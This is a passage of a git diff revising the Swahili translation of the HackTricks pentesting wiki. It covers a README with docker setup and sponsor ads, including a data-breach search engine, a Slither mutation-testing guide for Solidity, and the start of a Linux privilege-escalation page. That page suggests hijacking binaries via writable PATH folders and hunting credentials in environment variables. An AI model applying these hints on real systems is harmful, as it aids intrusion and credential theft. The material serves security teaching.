diff --git a/src/README.md b/src/README.md index cf9f7a9a0..42a4af4ce 100644 --- a/src/README.md +++ b/src/README.md @@ -2,9 +2,9 @@
-_Nembo za Hacktricks na muundo wa mwendo na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ +_Nembo za Hacktricks na muundo wa mwendo uliofanywa na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ -### Endesha HackTricks kwenye kompyuta yako +### Endesha HackTricks kwenye mashine yako ```bash # Download latest version of hacktricks git clone https://github.com/HackTricks-wiki/hacktricks @@ -31,7 +31,7 @@ export LANG="master" # Leave master for english # Run the docker container indicating the path to the hacktricks folder docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" ``` -Nakili yako ya HackTricks itakuwa **inapatikana kwa [http://localhost:3337](http://localhost:3337)** baada ya <5 dakika (inahitaji kujenga kitabu, kuwa mvumilivu). +Nakili yako ya HackTricks ya ndani itakuwa **available at [http://localhost:3337](http://localhost:3337)** baada ya <5 dakika (inahitaji kujenga kitabu, tafadhali vumilia). ## Wadhamini wa Kampuni @@ -39,11 +39,11 @@ Nakili yako ya HackTricks itakuwa **inapatikana kwa [http://localhost:3337](http
-[**STM Cyber**](https://www.stmcyber.com) ni kampuni nzuri ya usalama wa mtandao ambayo kaulimbiu yao ni **HACK THE UNHACKABLE**. Wanatekeleza utafiti wao na kubuni zana zao za hacking ili **kutoa huduma kadhaa muhimu za usalama wa mtandao** kama pentesting, Red teams na mafunzo. +[**STM Cyber**](https://www.stmcyber.com) ni kampuni bora ya cybersecurity whose slogan is **HACK THE UNHACKABLE**. Wanafanya utafiti wao wenyewe na kuendeleza zana zao za hacking ili kutoa huduma kadhaa muhimu za cybersecurity kama pentesting, Red teams na mafunzo. -Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com) +Unaweza kuangalia **blog** yao kwenye [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** pia inasaidia miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :) +**STM Cyber** pia inaunga mkono miradi ya open source ya cybersecurity kama HackTricks :) --- @@ -51,7 +51,7 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
-[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi katika **Europe**. Kwa **kusudi la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano lenye shughuli nyingi kwa wataalamu wa teknolojia na usalama wa mtandao katika fani zote. +[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la cybersecurity huko **Spain** na moja ya muhimu zaidi huko **Europe**. Kwa **lengo la kuendeleza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana pa moto kwa wataalamu wa teknolojia na cybersecurity wa aina zote. {{#ref}} https://www.rootedcon.com/ @@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** ni **#1 Barani Ulaya** ethical hacking na **bug bounty platform.** +**Intigriti** ni **Europe's #1** ethical hacking na **bug bounty platform.** -**Bug bounty tip**: **jisajili** kwa **Intigriti**, jukwaa la premium la bug bounty lililotengenezwa na hackers, kwa hackers! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata bounties hadi **$100,000**! +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata bounties hadi **$100,000**! {{#ref}} https://go.intigriti.com/hacktricks @@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
\ -Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga kwa urahisi na ku-automate workflows zinazoendeshwa na zana za jamii zilizoendelea zaidi ulimwenguni. +Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga kwa urahisi na **kuendesha workflows** zinazotokana na zana **most advanced** za jamii ya ulimwengu. Pata Ufikiaji Leo: @@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na bug bounty hunters! +Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty! -- **Hacking Insights:** Shirikiana na maudhui yanayoingia ndani ya msisimko na changamoto za hacking -- **Real-Time Hack News:** Kuwa updated na dunia ya hacking kupitia habari na maarifa ya wakati halisi -- **Latest Announcements:** Pata taarifa za hivi punde kuhusu bounties mpya zinazozinduliwa na masasisho muhimu ya majukwaa +- **Hacking Insights:** Shirikiana na maudhui yanayochunguza msisimko na changamoto za hacking +- **Real-Time Hack News:** Endelea kufuatilia dunia ya hacking kwa habari za wakati halisi na ufahamu +- **Latest Announcements:** Abiri taarifa za hivi punde kuhusu bug bounties zinazoanzishwa na sasisho muhimu za platform -**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na top hackers leo! +**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers wakubwa leo! --- -### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Zana muhimu za penetration testing +### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
-**Pata mtazamo wa hacker juu ya web apps, mtandao, na cloud yako** +**Pata mtazamo wa hacker juu ya web apps, network, na cloud yako** -**Gundua na ripoti udhaifu muhimu unaoweza kutumika na wenye athari za biashara.** Tumia zana zetu 20+ za kawaida ili kupima uso wa mashambulizi, gundua masuala ya usalama yanayokuwezesha kuongeza vibali, na tumia exploits zilizooautomate kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi. +**Gundua na ripoti vulnerabilities kali, zinazoweza kutumika na zenye athari za kibiashara.** Tumia zana zetu 20+ maalum ili kuchora uso wa shambulio, kutafuta maswala ya usalama yanayokuruhusu kuongeza privileges, na kutumia exploits za moja kwa moja kukusanya ushahidi muhimu, ukibadilisha kazi yako kuwa ripoti za kuvutia. {{#ref}} https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** inatoa APIs za wakati halisi haraka na kwa urahisi za ku-access search engine results. Wanascape search engines, kushughulikia proxies, kutatua captchas, na kuchambua data zote zilizo-structured kwa niaba yako. +**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi za **access search engine results**. Wanachukua data kutoka kwa search engines, wanashughulikia proxies, kutatua captchas, na kuchambua data zote za structured kwa niaba yako. -Usajili kwenye mmoja wa mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya API tofauti 50 za kuchapa search engines mbalimbali, ikiwemo Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\ -Tofauti na watoa huduma wengine, **SerpApi haichapi tu organic results**. Majibu ya SerpApi mara nyingi yanajumuisha matangazo yote, picha na video zilizo-inline, knowledge graphs, na vipengele vingine vilivyo kwenye matokeo ya utafutaji. +Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kuchonga search engines mbalimbali, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\ +Tofauti na wasambazaji wengine, **SerpApi haichongi tu organic results**. Majibu ya SerpApi mara nyingi yanajumuisha matangazo yote, picha na video za ndani, knowledge graphs, na vipengele vingine vinavyopatikana kwenye matokeo ya utafutaji. -Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, na GrubHub**.\ -Kwa habari zaidi angalia [**blog**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\ -Unaweza **kufungua akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.** +Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, and GrubHub**.\ +Kwa taarifa zaidi angalia [**blog**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\ +Unaweza **kuunda akaunti ya bure** [**here**](https://serpapi.com/users/sign_up)**.** --- @@ -135,7 +135,7 @@ Unaweza **kufungua akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_u
-Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, penetration testing, na reverse engineering ili kulinda mobile applications na vifaa. **Bobea katika usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**: +Jifunze teknolojia na ujuzi unaohitajika kufanya vulnerability research, penetration testing, na reverse engineering ili kulinda mobile applications na devices. **Mstaadi katika iOS na Android security** kupitia kozi zetu za on-demand na **pata certification**: {{#ref}} https://academy.8ksec.io/ @@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo katika **Amsterdam** ambayo husaidia **kulinda** biashara **hapo duniani kote** dhidi ya tishio la hivi punde la usalama kwa kutoa **huduma za offensive-security** kwa mtazamo **wa kisasa**. +[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya cybersecurity yenye makao yake **Amsterdam** ambayo husaidia **kulinda** biashara **kote duniani** dhidi ya tishio jipya la cybersecurity kwa kutoa **offensive-security services** kwa njia ya **kisasa**. -WebSec ni kampuni ya usalama ya kimataifa yenye ofisi huko Amsterdam na Wyoming. Wanatoa **huduma zote-katika-moja za usalama** ambazo zina maana wanashughulikia kila kitu; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing na mengi zaidi. +WebSec ni kampuni ya kimataifa ya usalama yenye ofisi huko Amsterdam na Wyoming. Wanatoa **all-in-one security services** ambayo ina maana wanashughulikia kila kitu; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing na mengi zaidi. -Jambo jingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia WebSec wana **kujiamini mkubwa katika ujuzi wao**, hadi kiwango cha kuwahakikishia matokeo bora kabisa, inasema kwenye tovuti yao "**If we can't hack it, You don't pay it!**". Kwa maelezo zaidi angalia [**website**](https://websec.net/en/) yao na [**blog**](https://websec.net/blog/)! +Jambo jingine la kuvutia kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **kwa ujasiri mkubwa katika ujuzi wao**, hadi kwa kiwango kwamba **wanahakikisha matokeo ya ubora bora**, inasema kwenye tovuti yao "**If we can't hack it, You don't pay it!**". Kwa habari zaidi tazama [**website**](https://websec.net/en/) na [**blog**](https://websec.net/blog/)! -Mbali na hayo WebSec pia ni **mshabiki wa kujitolea wa HackTricks.** +Mbali na hayo WebSec pia ni **mchango thabiti kwa HackTricks.** {{#ref}} https://www.youtube.com/watch?v=Zq2JycGDCPM @@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
venacus logo
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni search engine ya data breach (leak). \ -Tunatoa random string search (kama google) juu ya aina zote za data leaks kubwa na ndogo --si tu kubwa-- juu ya data inayotoka vyanzo vingi. \ -People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, vipengele vyote ambavyo pentester anahitaji.\ -**HackTricks inaendelea kuwa jukwaa bora la kujifunza kwetu sote na tunajivunia kuwa wadhamini wake!** +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni injini ya utafutaji ya data breach (leak). \ +Tunatoa random string search (like google) juu ya aina zote za data leaks kubwa na ndogo --sio tu kubwa-- juu ya data kutoka vyanzo mbalimbali. \ +Utafutaji wa watu, utafutaji kwa AI, utafutaji wa mashirika, API (OpenAPI) access, theHarvester integration, sifa zote ambazo pentester anahitaji.\ +**HackTricks inaendelea kuwa jukwaa zuri la kujifunzia kwetu sote na tunajivunia kuitegemea!** {{#ref}} https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons **Built for the field. Built around you.**\ -[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) huunda na kutoa mafunzo ya usalama wa mtandao yenye ufanisi yameundwa na kuongozwa na wataalamu wa tasnia. Programu zao zinaenda zaidi ya nadharia ili kuwapangia timu uelewa wa kina na ujuzi wa utekelezaji, zikitumia mazingira maalum yanayoakisi tishio la ulimwengu wa kweli. Kwa maswali kuhusu mafunzo maalum, wasiliana nasi [**hapa**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). +[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) hutoa na kusambaza mafunzo ya cybersecurity yaliyojengwa na kuongozwa na wataalamu wa sekta. Programu zao zinaenda zaidi ya nadharia ili kuwapatia timu uelewa wa kina na ujuzi wa vitendo, kwa kutumia mazingira maalum yanayoakisi tishio la ulimwengu halisi. Kwa maswali ya mafunzo maalum, wasiliana nasi [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). -**Kile kinachofanya mafunzo yao kuwa tofauti:** -* Vilivyojengwa kwa muktadha wa maudhui na maabara -* Zinategemewa na zana na majukwaa ya kiwango cha juu -* Zimetengenezwa na kufundishwa na wataalamu wa vitendo +**Kile kinachowatofautisha katika mafunzo yao:** +* Yaliyotengenezwa maalum yaliyobadilishwa na maabara +* Yanaungwa mkono na zana na platforms za kiwango cha juu +* Yameundwa na kufundishwa na watekelezaji {{#ref}} https://cyberhelmets.com/courses/?ref=hacktricks @@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
lasttower logo
-Last Tower Solutions hutoa huduma maalum za usalama wa mtandao kwa taasisi za **Elimu** na **FinTech**, ikilenga **penetration testing, cloud security assessments**, na **compliance readiness** (SOC 2, PCI-DSS, NIST). Timu yetu ni pamoja na wataalamu waliothibitishwa wa **OSCP na CISSP**, wakiwa na utaalamu wa kiufundi na ufahamu wa viwango vya tasnia kwa kila ushirikiano. +Last Tower Solutions hutoa huduma maalum za cybersecurity kwa taasisi za **Education** na **FinTech**, kwa kuzingatia **penetration testing, cloud security assessments**, na **compliance readiness** (SOC 2, PCI-DSS, NIST). Timu yetu inajumuisha wataalamu waliothibitishwa wa **OSCP and CISSP**, wakileta ujuzi wa kina wa kiufundi na ufahamu wa viwango vya sekta kwa kila kazi. -Tunazidi skani za otomatiki kwa **upimaji wa mkono ulioongozwa na intelijensia** uliobinafsishwa kwa mazingira ya hatari kubwa. Kuanzia kulinda rekodi za wanafunzi hadi kulinda miamala ya kifedha, tunawasaidia mashirika kulinda yale muhimu zaidi. +Tunazidi skana za moja kwa moja kwa **manual, intelligence-driven testing** iliyobinafsishwa kwa mazingira yenye hatari kubwa. Kuanzia kulinda rekodi za wanafunzi hadi kuwalinda miamala ya kifedha, tunasaidia mashirika kutetea yale yanayowalea. -_“Ulinzi wa ubora unahitaji kujua mashambulizi, tunatoa usalama kupitia uelewa.”_ +_“A quality defense requires knowing the offense, we provide security through understanding.”_ -Kaa umejulishwa na up-to-date na maendeleo ya hivi punde katika usalama wa mtandao kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog). +Endelea kupata habari na kusasishwa kuhusu kile kipya katika cybersecurity kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog). {{#ref}} https://www.lasttowersolutions.com/ @@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
-K8Studio IDE inawawezesha DevOps, DevSecOps, na developers kusimamia, kufuatilia, na kuilinda Kubernetes clusters kwa ufanisi. Tumia maarifa yetu yanayoendeshwa na AI, fremu ya usalama ya hali ya juu, na CloudMaps GUI inayofaa kuona clusters zako, kuelewa hali yao, na kuchukua hatua kwa kujiamini. +K8Studio IDE inawawezesha DevOps, DevSecOps, na developers kusimamia, kufuatilia, na kulinda Kubernetes clusters kwa ufanisi. Tumia insights zetu za AI, fremu ya usalama ya juu, na CloudMaps GUI rahisi kuona clusters yako, kuelewa hali yake, na kuchukua hatua kwa ujasiri. -Pia, K8Studio ni **inayolingana na distributions zote kuu za kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift na zaidi). +Zaidi ya hayo, K8Studio ni **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more). {{#ref}} https://k8studio.io/ @@ -228,15 +228,15 @@ https://k8studio.io/ --- -## Leseni na Msamaha +## Leseni & Hukumu -Angalia hizi katika: +Angalia huko: {{#ref}} welcome/hacktricks-values-and-faq.md {{#endref}} -## Takwimu za Github +## Github Stats ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6d276923d..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -950,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 7648883eb..5e2efbf18 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Mutation testing "tests your tests" kwa kuingiza mabadiliko madogo (mutants) kwa mfumo katika code yako ya Solidity na kuendesha tena test suite yako. Ikiwa test itashindwa, mutant anaangamizwa. Ikiwa tests bado zinafaulu, mutant huishi, ikifichua pengo la upofu katika test suite yako ambalo line/branch coverage haiwezi kugundua. +Mutation testing "tests your tests" kwa kuingiza kwa mfumo mabadiliko madogo (mutants) kwenye code yako ya Solidity na kuendesha tena test suite yako. Ikiwa jaribio linashindwa, mutant huuliwa. Ikiwa majaribio bado yanapita, mutant huishi, ikifichua doa (blind spot) katika test suite yako ambalo coverage ya mstari/tawi haiwezi kugundua. -Wazo muhimu: Coverage inaonyesha code ilitekelezwa; mutation testing inaonyesha ikiwa tabia kwa kweli imethibitishwa. +Wazo kuu: Coverage inaonyesha kuwa code ilitekelezwa; mutation testing inaonyesha kama tabia (behavior) imedhibitishwa kwa kweli. ## Kwa nini coverage inaweza kudanganya -Fikiria ukaguzi huu rahisi wa kikomo: +Angalia ukaguzi huu rahisi wa kikomo: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,96 +18,96 @@ return false; } } ``` -Unit tests ambazo zinachek tu thamani chini na thamani juu ya kizingiti zinaweza kufikia 100% line/branch coverage huku zikishindwa kuthibitisha mpaka wa usawa (==). Refactor kuwa `deposit >= 2 ether` bado ingepita mitihani hiyo, ikivunja mantiki ya protocol bila kuonekana. +Jaribio za unit ambazo zinaangalia tu thamani chini na thamani juu ya kizingiti zinaweza kufikia 100% ujazo wa mistari/matawi, huku zikiwa hazijathibitisha ukomo wa usawa (==). Marekebisho ya `deposit >= 2 ether` bado yangepita katika mitihani hiyo, ikivunja kimya kimya mantiki ya protocol. -Mutation testing inaonyesha pengo hili kwa kubadilisha condition na kuthibitisha kwamba mitihani yako inashindwa. +Mutation testing inaonyesha pengo hili kwa kubadilisha sharti na kuthibitisha kuwa mitihani yako itashindwa. -## Operator za mutation za kawaida za Solidity +## Opereta za mutation za kawaida kwa Solidity -Slither’s mutation engine inatumia mabadiliko madogo mengi yanayobadilisha semantiki, kama: -- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc. -- Assignment replacement: `+=` → `=`, `-=` → `=` -- Constant replacement: non-zero → `0`, `true` ↔ `false` -- Condition negation/replacement inside `if`/loops -- Comment out whole lines (CR: Comment Replacement) -- Replace a line with `revert()` -- Data type swaps: e.g., `int128` → `int64` +Slither’s mutation engine inatumia mabadiliko madogo yanayobadilisha semantiki, kama: +- Ubadilishaji wa operator: `+` ↔ `-`, `*` ↔ `/`, n.k. +- Ubadilishaji wa assignment: `+=` → `=`, `-=` → `=` +- Ubadilishaji wa constant: isiyo-sifuri → `0`, `true` ↔ `false` +- Kukanusha/kubadilisha sharti ndani ya `if`/loops +- Kuweka mstari mzima kama comment (CR: Comment Replacement) +- Badilisha mstari na `revert()` +- Kubadilisha aina za data: mfano, `int128` → `int64` -Lengo: Ua 100% ya mutants waliotengenezwa, au toa sababu za wazi kwa wale wanaobaki. +Lengo: Angamiza 100% ya mutants waliozalishwa, au toa sababu za wazi kwa waliobaki. -## Kuendesha mutation testing na slither-mutate +## Kuendesha mutation testing kwa slither-mutate Mahitaji: Slither v0.10.2+. -- List options and mutators: +- Orodhesha chaguzi na mutators: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Mfano wa Foundry (rekodi matokeo na uhifadhi logi kamili): +- Mfano wa Foundry (rekodi matokeo na uhifadhi kumbukumbu kamili): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Ikiwa hutoitumia Foundry, badilisha `--test-cmd` na jinsi unavyotekeleza majaribio (kwa mfano, `npx hardhat test`, `npm test`). +- Ikiwa hautumii Foundry, badilisha `--test-cmd` na jinsi unavyokimbia majaribio (kwa mfano, `npx hardhat test`, `npm test`). -Artifacts na ripoti huhifadhiwa katika `./mutation_campaign` kwa chaguo-msingi. Mutants zisizogunduliwa (zilizo hai) zinakopishwa huko kwa uchunguzi. +Artefakti na ripoti huhifadhiwa katika `./mutation_campaign` kwa chaguo-msingi. Mutants wasiokamatwa (waliodumu) hukopiwa huko kwa uchunguzi. ### Kuelewa matokeo -Mistari ya ripoti zinaonekana kama: +Mistari za ripoti zinaonekana kama ifuatavyo: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- Tagi ndani ya mabano ni jina fupi la mutator (kwa mfano, `CR` = Comment Replacement). -- `UNCAUGHT` ina maana majaribio yalipita chini ya tabia iliyobadilishwa → ukosefu wa uthibitisho. +- Lebo ndani ya mabano ni mutator alias (kwa mfano, `CR` = Comment Replacement). +- `UNCAUGHT` ina maana majaribio yalipita chini ya tabia iliyobadilishwa → kukosa assertion. -## Kupunguza muda wa utekelezaji: weka kipaumbele mutanti zenye athari +## Kupunguza runtime: peana kipaumbele kwa mutants wenye athari -Kampeni za mutation zinaweza kuchukua masaa au siku. Vidokezo vya kupunguza gharama: -- Scope: Anza na mikataba/direktori muhimu tu, kisha panua. -- Prioritize mutators: Ikiwa mutanti wa kipaumbele juu kwenye mstari anakaa (kwa mfano, mstari mzima umekomentiwa), unaweza kupuuza tofauti zenye kipaumbele cha chini kwa mstari huo. -- Endesha majaribio kwa usawa ikiwa runner yako inaruhusu; tumia cache kwa dependencies/builds. -- Fail-fast: simama mapema wakati mabadiliko yanaonyesha wazi ukosefu wa uthibitisho. +Kampeni za mutation zinaweza kuchukua saa au siku. Vidokezo vya kupunguza gharama: +- Scope: Anza na contracts/directories muhimu tu, kisha panua. +- Prioritize mutators: Ikiwa mutant wa kipaumbele juu ya mstari anaishi (kwa mfano, mstari mzima umewekwa kama comment), unaweza kuruka varianti zenye kipaumbele kidogo kwa mstari huo. +- Parallelize tests ikiwa runner yako inaruhusu; tumia cache ya dependencies/builds. +- Fail-fast: simama mapema wakati mabadiliko yanaonyesha wazi pengo la assertion. -## Mtiririko wa kazi wa triage kwa mutanti waliobaki +## Triage workflow kwa mutants wastaajabika -1) Angalia mstari uliobadilishwa na tabia yake. -- Rudia ndani ya mazingira ya ndani kwa kuingiza mstari uliobadilishwa na kuendesha test iliyojikita. +1) Chunguza mstari uliobadilishwa na tabia. +- Reproduce locally kwa kutumia mstari uliobadilishwa na kuendesha test iliyolenga. -2) Imarisha majaribio ili yathibishe hali, si tu thamani zinazorejeshwa. -- Ongeza ukaguzi wa mipaka ya usawa (kwa mfano, test threshold `==`). -- Thibitisha masharti ya baada: salio, total supply, athari za idhini, na matukio yaliyotolewa. +2) Imarisha tests ili kuassert state, si thamani za kurudisha tu. +- Ongeza checks za mipaka ya usawa (kwa mfano, test threshold `==`). +- Assert post-conditions: balances, total supply, athari za authorization, na event zilizotolewa. -3) Badilisha mocks zilizoruhusu mno kwa tabia halisi. -- Hakikisha mocks zinafanya enforced transfers, njia za kushindwa, na utoaji wa matukio yanayotokea on-chain. +3) Badilisha mocks zinazoruhusu kupita kiasi na tabia halisi. +- Hakikisha mocks zinetekeleza transfers, failure paths, na event emissions zinazotokea on-chain. 4) Ongeza invariants kwa fuzz tests. -- Kwa mfano, uhifadhi wa thamani, salio zisizo hasi, invariants za idhini, supply monotonic pale inapofaa. +- Mfano: conservation of value, non-negative balances, authorization invariants, monotonic supply pale inapofaa. -5) Rerun slither-mutate hadi mutanti waliobaki waondolewe au wathibitishwe wazi. +5) Endelea kuendesha slither-mutate hadi survivors waangushwe au wawe wamekosewa kwa uwazi. -## Utafiti wa kesi: kufichua ukosefu wa uthibitisho wa hali (Arkis protocol) +## Case study: kufichua kukosekana kwa state assertions (Arkis protocol) -Kampeni ya mutation wakati wa ukaguzi wa protokoli ya Arkis DeFi ilibaini mutanti waliobaki kama: +Kampeni ya mutation wakati wa audit ya Arkis DeFi protocol ilibaini survivors kama: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Ku-comment out ugawaji hakukuvunja majaribio, ikathibitisha kukosekana kwa post-state assertions. Sababu ya msingi: msimbo uliamini `_cmd.value` inayoendeshwa na mtumiaji badala ya kuthibitisha uhamisho halisi wa tokeni. Mvamizi angeweza kusababisha kutolingana kati ya uhamisho uliotarajiwa na uhalisi ili kuchoma/mkamua fedha. Matokeo: hatari ya kiwango cha juu kwa uendelevu wa protocol. +Ku-comment nje assignment hakukuangusha tests, ikathibitisha ukosefu wa post-state assertions. Chanzo cha msingi: msimbo uliamini `_cmd.value` inayodhibitiwa na mtumiaji badala ya kuthibitisha transfers halisi za tokeni. Mshambuliaji angeweza kusababisha kutofanana kati ya transfers zilizotarajiwa na transfers halisi ili kuchoma fedha. Matokeo: hatari ya kiwango cha juu kwa uendelevu wa protocol. -Miongozo: Chukulia mabaki yanayoathiri uhamisho wa thamani, uhasibu, au udhibiti wa upatikanaji kama hatari kubwa hadi yatakaposhindwa/kufutwa. +Mwongozo: Chukulia mutants waliobaki ambao huathiri uhamishaji wa thamani, uhasibu, au udhibiti wa upatikanaji kama hatari kubwa hadi waangamizwe. ## Orodha ya vitendo -- Endesha kampeni iliyolengwa: +- Endesha kampeni iliyolenga: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Fanyia triage mabaki na andika tests/invariants zitakazoshindwa chini ya tabia iliyobadilishwa. -- Thibitisha salio, ugavi, idhini, na matukio. -- Ongeza mtihani wa mipaka (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). -- Badilisha mocks zisizo halisi;iga njia za kushindwa. -- Rudia hadi mutants zote zimeshindikana/kufutwa (killed) au zimefafanuliwa kwa maoni na mantiki. +- Fanya triage ya mutants waliobaki na andika tests/invariants ambazo zingeshindwa chini ya tabia iliyobadilishwa. +- Thibitisha salio, supply, idhini, na matukio. +- Ongeza boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). +- Badilisha mocks zisizo za kweli; iga njia za kushindwa. +- Rudia hadi mutants wote waondolewe au wahakikishwe kwa maoni na mantiki. -## Marejeo +## References - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 5d02dd8d4..a34ae07cc 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Ikiwa una **ruhusa za kuandika kwenye saraka yoyote ndani ya `PATH`**, huenda ukaweza hijack baadhi ya libraries au binaries: +Ikiwa una **write permissions on any folder inside the `PATH`** variable, unaweza kuwa na uwezo wa hijack baadhi ya libraries au binaries: ```bash echo $PATH ``` -### Taarifa za Env +### Env info -Je, kuna taarifa za kuvutia, nywila au API keys katika environment variables? +Je, kuna taarifa za 